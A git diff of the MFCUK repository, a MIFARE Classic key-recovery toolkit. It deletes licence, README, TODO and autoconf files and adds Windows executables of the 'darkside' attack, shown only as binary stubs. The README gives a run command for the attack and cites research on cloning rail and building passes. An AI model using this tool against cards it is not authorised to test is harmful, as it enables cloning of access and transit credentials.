diff --git a/AUTHORS b/AUTHORS deleted file mode 100644 index 24030eb..0000000 --- a/AUTHORS +++ /dev/null @@ -1,7 +0,0 @@ -= Author -Andrei Costin , http://andreicostin.com - -= Contributors - -Romuald Conty - porting to libnfc 1.3.x, 1.4.x, 1.5.x -Nethemba Core Team - core AC, AM, configure and packaging diff --git a/COPYING b/COPYING deleted file mode 100644 index d511905..0000000 --- a/COPYING +++ /dev/null @@ -1,339 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 2, June 1991 - - Copyright (C) 1989, 1991 Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -License is intended to guarantee your freedom to share and change free -software--to make sure the software is free for all its users. This -General Public License applies to most of the Free Software -Foundation's software and to any other program whose authors commit to -using it. (Some other Free Software Foundation software is covered by -the GNU Lesser General Public License instead.) You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -this service if you wish), that you receive source code or can get it -if you want it, that you can change the software or use pieces of it -in new free programs; and that you know you can do these things. - - To protect your rights, we need to make restrictions that forbid -anyone to deny you these rights or to ask you to surrender the rights. -These restrictions translate to certain responsibilities for you if you -distribute copies of the software, or if you modify it. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must give the recipients all the rights that -you have. You must make sure that they, too, receive or can get the -source code. And you must show them these terms so they know their -rights. - - We protect your rights with two steps: (1) copyright the software, and -(2) offer you this license which gives you legal permission to copy, -distribute and/or modify the software. - - Also, for each author's protection and ours, we want to make certain -that everyone understands that there is no warranty for this free -software. If the software is modified by someone else and passed on, we -want its recipients to know that what they have is not the original, so -that any problems introduced by others will not reflect on the original -authors' reputations. - - Finally, any free program is threatened constantly by software -patents. We wish to avoid the danger that redistributors of a free -program will individually obtain patent licenses, in effect making the -program proprietary. To prevent this, we have made it clear that any -patent must be licensed for everyone's free use or not licensed at all. - - The precise terms and conditions for copying, distribution and -modification follow. - - GNU GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License applies to any program or other work which contains -a notice placed by the copyright holder saying it may be distributed -under the terms of this General Public License. The "Program", below, -refers to any such program or work, and a "work based on the Program" -means either the Program or any derivative work under copyright law: -that is to say, a work containing the Program or a portion of it, -either verbatim or with modifications and/or translated into another -language. (Hereinafter, translation is included without limitation in -the term "modification".) Each licensee is addressed as "you". - -Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running the Program is not restricted, and the output from the Program -is covered only if its contents constitute a work based on the -Program (independent of having been made by running the Program). -Whether that is true depends on what the Program does. - - 1. You may copy and distribute verbatim copies of the Program's -source code as you receive it, in any medium, provided that you -conspicuously and appropriately publish on each copy an appropriate -copyright notice and disclaimer of warranty; keep intact all the -notices that refer to this License and to the absence of any warranty; -and give any other recipients of the Program a copy of this License -along with the Program. - -You may charge a fee for the physical act of transferring a copy, and -you may at your option offer warranty protection in exchange for a fee. - - 2. You may modify your copy or copies of the Program or any portion -of it, thus forming a work based on the Program, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) You must cause the modified files to carry prominent notices - stating that you changed the files and the date of any change. - - b) You must cause any work that you distribute or publish, that in - whole or in part contains or is derived from the Program or any - part thereof, to be licensed as a whole at no charge to all third - parties under the terms of this License. - - c) If the modified program normally reads commands interactively - when run, you must cause it, when started running for such - interactive use in the most ordinary way, to print or display an - announcement including an appropriate copyright notice and a - notice that there is no warranty (or else, saying that you provide - a warranty) and that users may redistribute the program under - these conditions, and telling the user how to view a copy of this - License. (Exception: if the Program itself is interactive but - does not normally print such an announcement, your work based on - the Program is not required to print an announcement.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Program, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Program, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Program. - -In addition, mere aggregation of another work not based on the Program -with the Program (or with a work based on the Program) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may copy and distribute the Program (or a work based on it, -under Section 2) in object code or executable form under the terms of -Sections 1 and 2 above provided that you also do one of the following: - - a) Accompany it with the complete corresponding machine-readable - source code, which must be distributed under the terms of Sections - 1 and 2 above on a medium customarily used for software interchange; or, - - b) Accompany it with a written offer, valid for at least three - years, to give any third party, for a charge no more than your - cost of physically performing source distribution, a complete - machine-readable copy of the corresponding source code, to be - distributed under the terms of Sections 1 and 2 above on a medium - customarily used for software interchange; or, - - c) Accompany it with the information you received as to the offer - to distribute corresponding source code. (This alternative is - allowed only for noncommercial distribution and only if you - received the program in object code or executable form with such - an offer, in accord with Subsection b above.) - -The source code for a work means the preferred form of the work for -making modifications to it. For an executable work, complete source -code means all the source code for all modules it contains, plus any -associated interface definition files, plus the scripts used to -control compilation and installation of the executable. However, as a -special exception, the source code distributed need not include -anything that is normally distributed (in either source or binary -form) with the major components (compiler, kernel, and so on) of the -operating system on which the executable runs, unless that component -itself accompanies the executable. - -If distribution of executable or object code is made by offering -access to copy from a designated place, then offering equivalent -access to copy the source code from the same place counts as -distribution of the source code, even though third parties are not -compelled to copy the source along with the object code. - - 4. You may not copy, modify, sublicense, or distribute the Program -except as expressly provided under this License. Any attempt -otherwise to copy, modify, sublicense or distribute the Program is -void, and will automatically terminate your rights under this License. -However, parties who have received copies, or rights, from you under -this License will not have their licenses terminated so long as such -parties remain in full compliance. - - 5. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Program or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Program (or any work based on the -Program), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Program or works based on it. - - 6. Each time you redistribute the Program (or any work based on the -Program), the recipient automatically receives a license from the -original licensor to copy, distribute or modify the Program subject to -these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties to -this License. - - 7. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Program at all. For example, if a patent -license would not permit royalty-free redistribution of the Program by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Program. - -If any portion of this section is held invalid or unenforceable under -any particular circumstance, the balance of the section is intended to -apply and the section as a whole is intended to apply in other -circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system, which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 8. If the distribution and/or use of the Program is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Program under this License -may add an explicit geographical distribution limitation excluding -those countries, so that distribution is permitted only in or among -countries not thus excluded. In such case, this License incorporates -the limitation as if written in the body of this License. - - 9. The Free Software Foundation may publish revised and/or new versions -of the General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - -Each version is given a distinguishing version number. If the Program -specifies a version number of this License which applies to it and "any -later version", you have the option of following the terms and conditions -either of that version or of any later version published by the Free -Software Foundation. If the Program does not specify a version number of -this License, you may choose any version ever published by the Free Software -Foundation. - - 10. If you wish to incorporate parts of the Program into other free -programs whose distribution conditions are different, write to the author -to ask for permission. For software which is copyrighted by the Free -Software Foundation, write to the Free Software Foundation; we sometimes -make exceptions for this. Our decision will be guided by the two goals -of preserving the free status of all derivatives of our free software and -of promoting the sharing and reuse of software generally. - - NO WARRANTY - - 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY -FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN -OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES -PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED -OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS -TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE -PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, -REPAIR OR CORRECTION. - - 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR -REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, -INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING -OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED -TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY -YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER -PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE -POSSIBILITY OF SUCH DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along - with this program; if not, write to the Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - -Also add information on how to contact you by electronic and paper mail. - -If the program is interactive, make it output a short notice like this -when it starts in an interactive mode: - - Gnomovision version 69, Copyright (C) year name of author - Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, the commands you use may -be called something other than `show w' and `show c'; they could even be -mouse-clicks or menu items--whatever suits your program. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the program, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the program - `Gnomovision' (which makes passes at compilers) written by James Hacker. - - , 1 April 1989 - Ty Coon, President of Vice - -This General Public License does not permit incorporating your program into -proprietary programs. If your program is a subroutine library, you may -consider it more useful to permit linking proprietary applications with the -library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. diff --git a/ChangeLog b/ChangeLog deleted file mode 100644 index e69de29..0000000 diff --git a/INSTALL b/INSTALL deleted file mode 100644 index 8009522..0000000 --- a/INSTALL +++ /dev/null @@ -1,5 +0,0 @@ -If you use a development version (SVN), you have to run: -autoreconf -is -./configure -make - diff --git a/LICENSE b/LICENSE deleted file mode 100644 index d511905..0000000 --- a/LICENSE +++ /dev/null @@ -1,339 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 2, June 1991 - - Copyright (C) 1989, 1991 Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -License is intended to guarantee your freedom to share and change free -software--to make sure the software is free for all its users. This -General Public License applies to most of the Free Software -Foundation's software and to any other program whose authors commit to -using it. (Some other Free Software Foundation software is covered by -the GNU Lesser General Public License instead.) You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -this service if you wish), that you receive source code or can get it -if you want it, that you can change the software or use pieces of it -in new free programs; and that you know you can do these things. - - To protect your rights, we need to make restrictions that forbid -anyone to deny you these rights or to ask you to surrender the rights. -These restrictions translate to certain responsibilities for you if you -distribute copies of the software, or if you modify it. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must give the recipients all the rights that -you have. You must make sure that they, too, receive or can get the -source code. And you must show them these terms so they know their -rights. - - We protect your rights with two steps: (1) copyright the software, and -(2) offer you this license which gives you legal permission to copy, -distribute and/or modify the software. - - Also, for each author's protection and ours, we want to make certain -that everyone understands that there is no warranty for this free -software. If the software is modified by someone else and passed on, we -want its recipients to know that what they have is not the original, so -that any problems introduced by others will not reflect on the original -authors' reputations. - - Finally, any free program is threatened constantly by software -patents. We wish to avoid the danger that redistributors of a free -program will individually obtain patent licenses, in effect making the -program proprietary. To prevent this, we have made it clear that any -patent must be licensed for everyone's free use or not licensed at all. - - The precise terms and conditions for copying, distribution and -modification follow. - - GNU GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License applies to any program or other work which contains -a notice placed by the copyright holder saying it may be distributed -under the terms of this General Public License. The "Program", below, -refers to any such program or work, and a "work based on the Program" -means either the Program or any derivative work under copyright law: -that is to say, a work containing the Program or a portion of it, -either verbatim or with modifications and/or translated into another -language. (Hereinafter, translation is included without limitation in -the term "modification".) Each licensee is addressed as "you". - -Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running the Program is not restricted, and the output from the Program -is covered only if its contents constitute a work based on the -Program (independent of having been made by running the Program). -Whether that is true depends on what the Program does. - - 1. You may copy and distribute verbatim copies of the Program's -source code as you receive it, in any medium, provided that you -conspicuously and appropriately publish on each copy an appropriate -copyright notice and disclaimer of warranty; keep intact all the -notices that refer to this License and to the absence of any warranty; -and give any other recipients of the Program a copy of this License -along with the Program. - -You may charge a fee for the physical act of transferring a copy, and -you may at your option offer warranty protection in exchange for a fee. - - 2. You may modify your copy or copies of the Program or any portion -of it, thus forming a work based on the Program, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) You must cause the modified files to carry prominent notices - stating that you changed the files and the date of any change. - - b) You must cause any work that you distribute or publish, that in - whole or in part contains or is derived from the Program or any - part thereof, to be licensed as a whole at no charge to all third - parties under the terms of this License. - - c) If the modified program normally reads commands interactively - when run, you must cause it, when started running for such - interactive use in the most ordinary way, to print or display an - announcement including an appropriate copyright notice and a - notice that there is no warranty (or else, saying that you provide - a warranty) and that users may redistribute the program under - these conditions, and telling the user how to view a copy of this - License. (Exception: if the Program itself is interactive but - does not normally print such an announcement, your work based on - the Program is not required to print an announcement.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Program, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Program, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Program. - -In addition, mere aggregation of another work not based on the Program -with the Program (or with a work based on the Program) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may copy and distribute the Program (or a work based on it, -under Section 2) in object code or executable form under the terms of -Sections 1 and 2 above provided that you also do one of the following: - - a) Accompany it with the complete corresponding machine-readable - source code, which must be distributed under the terms of Sections - 1 and 2 above on a medium customarily used for software interchange; or, - - b) Accompany it with a written offer, valid for at least three - years, to give any third party, for a charge no more than your - cost of physically performing source distribution, a complete - machine-readable copy of the corresponding source code, to be - distributed under the terms of Sections 1 and 2 above on a medium - customarily used for software interchange; or, - - c) Accompany it with the information you received as to the offer - to distribute corresponding source code. (This alternative is - allowed only for noncommercial distribution and only if you - received the program in object code or executable form with such - an offer, in accord with Subsection b above.) - -The source code for a work means the preferred form of the work for -making modifications to it. For an executable work, complete source -code means all the source code for all modules it contains, plus any -associated interface definition files, plus the scripts used to -control compilation and installation of the executable. However, as a -special exception, the source code distributed need not include -anything that is normally distributed (in either source or binary -form) with the major components (compiler, kernel, and so on) of the -operating system on which the executable runs, unless that component -itself accompanies the executable. - -If distribution of executable or object code is made by offering -access to copy from a designated place, then offering equivalent -access to copy the source code from the same place counts as -distribution of the source code, even though third parties are not -compelled to copy the source along with the object code. - - 4. You may not copy, modify, sublicense, or distribute the Program -except as expressly provided under this License. Any attempt -otherwise to copy, modify, sublicense or distribute the Program is -void, and will automatically terminate your rights under this License. -However, parties who have received copies, or rights, from you under -this License will not have their licenses terminated so long as such -parties remain in full compliance. - - 5. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Program or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Program (or any work based on the -Program), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Program or works based on it. - - 6. Each time you redistribute the Program (or any work based on the -Program), the recipient automatically receives a license from the -original licensor to copy, distribute or modify the Program subject to -these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties to -this License. - - 7. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Program at all. For example, if a patent -license would not permit royalty-free redistribution of the Program by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Program. - -If any portion of this section is held invalid or unenforceable under -any particular circumstance, the balance of the section is intended to -apply and the section as a whole is intended to apply in other -circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system, which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 8. If the distribution and/or use of the Program is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Program under this License -may add an explicit geographical distribution limitation excluding -those countries, so that distribution is permitted only in or among -countries not thus excluded. In such case, this License incorporates -the limitation as if written in the body of this License. - - 9. The Free Software Foundation may publish revised and/or new versions -of the General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - -Each version is given a distinguishing version number. If the Program -specifies a version number of this License which applies to it and "any -later version", you have the option of following the terms and conditions -either of that version or of any later version published by the Free -Software Foundation. If the Program does not specify a version number of -this License, you may choose any version ever published by the Free Software -Foundation. - - 10. If you wish to incorporate parts of the Program into other free -programs whose distribution conditions are different, write to the author -to ask for permission. For software which is copyrighted by the Free -Software Foundation, write to the Free Software Foundation; we sometimes -make exceptions for this. Our decision will be guided by the two goals -of preserving the free status of all derivatives of our free software and -of promoting the sharing and reuse of software generally. - - NO WARRANTY - - 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY -FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN -OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES -PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED -OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS -TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE -PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, -REPAIR OR CORRECTION. - - 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR -REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, -INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING -OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED -TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY -YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER -PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE -POSSIBILITY OF SUCH DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along - with this program; if not, write to the Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - -Also add information on how to contact you by electronic and paper mail. - -If the program is interactive, make it output a short notice like this -when it starts in an interactive mode: - - Gnomovision version 69, Copyright (C) year name of author - Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, the commands you use may -be called something other than `show w' and `show c'; they could even be -mouse-clicks or menu items--whatever suits your program. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the program, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the program - `Gnomovision' (which makes passes at compilers) written by James Hacker. - - , 1 April 1989 - Ty Coon, President of Vice - -This General Public License does not permit incorporating your program into -proprietary programs. If your program is a subroutine library, you may -consider it more useful to permit linking proprietary applications with the -library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. diff --git a/Makefile.am b/Makefile.am deleted file mode 100644 index b0326f8..0000000 --- a/Makefile.am +++ /dev/null @@ -1,4 +0,0 @@ -SUBDIRS = src - -#pkgconfigdir = $(libdir)/pkgconfig -#pkgconfig_DATA = libnfc.pc diff --git a/NEWS b/NEWS deleted file mode 100644 index e69de29..0000000 diff --git a/README b/README deleted file mode 100644 index fcb8c00..0000000 --- a/README +++ /dev/null @@ -1,54 +0,0 @@ -README -====== - -Compiling: - automake - autoconf - ./configure - make - -Running (most basic): - ./mfcuk -C -R 0:A -v 2 - -PACKAGE -------- -MiFare Classic Universal toolKit (MFCUK) - -TOOL(S) -------- -Mifare Classic DarkSide Key Recovery Tool (mfcuk_keyrecovery_darkside.c) (previously known as zv_mf_dark_side) -... - -LICENSE -------- -GPL. See MFCUK_LICENSE for more information. - - -BIBLIOGRPAHY (no specific order) ---------------------------------- -1. [WPMCC09] - "Wirelessly Pickpocketing a Mifare Classic Card" -2. [ESO08] - "2008-esorics.pdf" -3. [ESOSL08] - "2008-esorics-slides-updated.pdf" -4. [KON08] - "2008-koning-thesis.pdf" -5. [VER08] - "2008-verdult-thesis.pdf" -6. [PATMC] - "A Practical Attack on the MIFARE Classic.pdf" -7. [NCOURFIDSEC09] - "mifare_courtois_rfidsec09.pdf" -8. [MFCLTRB09] - "MifareClassicTroubles.ppt" -9. [TEEP08] - "p2008-teepe-classic_mistakes.pdf" -10. [RFIDSANJ] - "RFID Attacks_WCA_San_Jose.pdf" -11. [ROSS] - "rossum-mifare.pdf" -12. [PLOTZ08] - "SAR-PR-2008-21_.pdf" -13. [ROSSSASG] - "SASG35_Peter_v_Rossum_Mifare.pdf" -14. [DARK2009] - "THE DARK SIDE OF SECURITY BY OBSCURITY and Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime" - -KUDOS and HATS-OFF to (no specific order) (for all the knowledge, time spent researching and all the things) ---------------------- - - blapost@gmail.com - this man is a genius and a technical artist. crapto1 3.1 is the horse power of this tool. PS: you somehow resemble I.C.Wiener anonymous&smart hacker - - Roel and RConty @ libnfc/proxmark - these guys are true advisers, helpful. Thanks for providing a powerfull platform for NFC - - N.Curtois - also a crypto-artist in differential analysis. The 29bit prefix attack is pure genius of theoretical analysis. - - RU University Staff for working out different aspects and papers for Crypto1 analysis - - Nohl, Plotz, Evans - how the "F" did you get those slicers and microscopes :))? - - Milosch M et al. - for pushing the limits for open-source hardware (OpenPCD and OpenPICC) - - Jonathan Westhues - for giving the open-source community the: Proxmark schematics/sources and RFID knowledge - - Nethemba team - for first open-source/GPL nested authentication attack key recovery implementation in MFOC - - hat, schwa226, pgrahamm, marcus2608, phadom - for useful samples, advices, traces and all the things diff --git a/TODO b/TODO deleted file mode 100644 index 8f776bd..0000000 --- a/TODO +++ /dev/null @@ -1,21 +0,0 @@ -TODO -==== - -PACKAGE -------- -MiFare Classic Universal toolKit (MFCUK) - -TOOL(S) -------- -Mifare Classic DarkSide Key Recovery Tool (mfcuk_keyrecovery_darkside.c) (previously known as zv_mf_dark_side) -... - -ITEMS -===== -0. Integrate with MFOC into MFCUK -1. Improve the performance (though not bad) -2. Optimize bits operations -3. Remove dead-code/commented block after testing -4. Proper error handling in some cases (not critical errors, but nice to have checks in place) -5. Periodically save the state (or most important part of it at least) such as of Nt/Nr arrays, etc., so that it can later be resumed on the same card -6. Calibration methodology and routine for MFCUK to determine best field on/off delays so that it generates the lowest entropy for tag's Nt values \ No newline at end of file diff --git a/binaries/r55/libnfc.dll b/binaries/r55/libnfc.dll new file mode 100644 index 0000000..ed3d64d Binary files /dev/null and b/binaries/r55/libnfc.dll differ diff --git a/binaries/r55/libnfc.lib b/binaries/r55/libnfc.lib new file mode 100644 index 0000000..ab71e7b Binary files /dev/null and b/binaries/r55/libnfc.lib differ diff --git a/binaries/r55/mfcuk_keyrecovery_darkside_cygwin.exe b/binaries/r55/mfcuk_keyrecovery_darkside_cygwin.exe new file mode 100644 index 0000000..aaea7b8 Binary files /dev/null and b/binaries/r55/mfcuk_keyrecovery_darkside_cygwin.exe differ diff --git a/binaries/r55/mfcuk_keyrecovery_darkside_win32.exe b/binaries/r55/mfcuk_keyrecovery_darkside_win32.exe new file mode 100644 index 0000000..09ddf3a Binary files /dev/null and b/binaries/r55/mfcuk_keyrecovery_darkside_win32.exe differ diff --git a/configure.ac b/configure.ac deleted file mode 100644 index 6403b19..0000000 --- a/configure.ac +++ /dev/null @@ -1,46 +0,0 @@ -AC_INIT([mfcuk], [0.3.3], [zveriu@gmail.com]) - -AC_CONFIG_MACRO_DIR([m4]) - -AC_PROG_CC - -AC_CONFIG_HEADERS([config.h]) - -AC_CONFIG_SRCDIR([src/mfcuk.c]) - -AM_INIT_AUTOMAKE - -m4_ifdef([AM_SILENT_RULES],[AM_SILENT_RULES([yes])]) - -# Checks for pkg-config modules. -LIBNFC_REQUIRED_VERSION=1.5.1 -PKG_CHECK_MODULES([LIBNFC], [libnfc >= $LIBNFC_REQUIRED_VERSION], [], [AC_MSG_ERROR([libnfc >= $LIBNFC_REQUIRED_VERSION is mandatory.])]) - -PKG_CONFIG_REQUIRES="libnfc" -AC_SUBST([PKG_CONFIG_REQUIRES]) - -# Checks for typedefs, structures, and compiler characteristics. -AC_HEADER_STDBOOL -AC_TYPE_SIZE_T -AC_TYPE_UINT16_T -AC_TYPE_UINT32_T -AC_TYPE_UINT64_T -AC_TYPE_UINT8_T - -# Checks for library functions. -AC_FUNC_MALLOC -AC_FUNC_REALLOC -AC_CHECK_FUNCS([memset strchr]) - -# Checks for endianness convertion -AC_CHECK_HEADERS([endian.h sys/endian.h CoreFoundation/CoreFoundation.h]) -AC_CHECK_HEADERS([byteswap.h]) - -AC_DEFINE([_XOPEN_SOURCE], [600], [Define to 500 if Single Unix conformance is wanted, 600 for sixth revision.]) - -# Help us to write great code ;-) -CFLAGS="$CFLAGS -Wall -pedantic -Wextra -std=c99" - -AC_CONFIG_FILES([Makefile - src/Makefile]) -AC_OUTPUT diff --git a/src/Makefile.am b/src/Makefile.am deleted file mode 100644 index 4010a4f..0000000 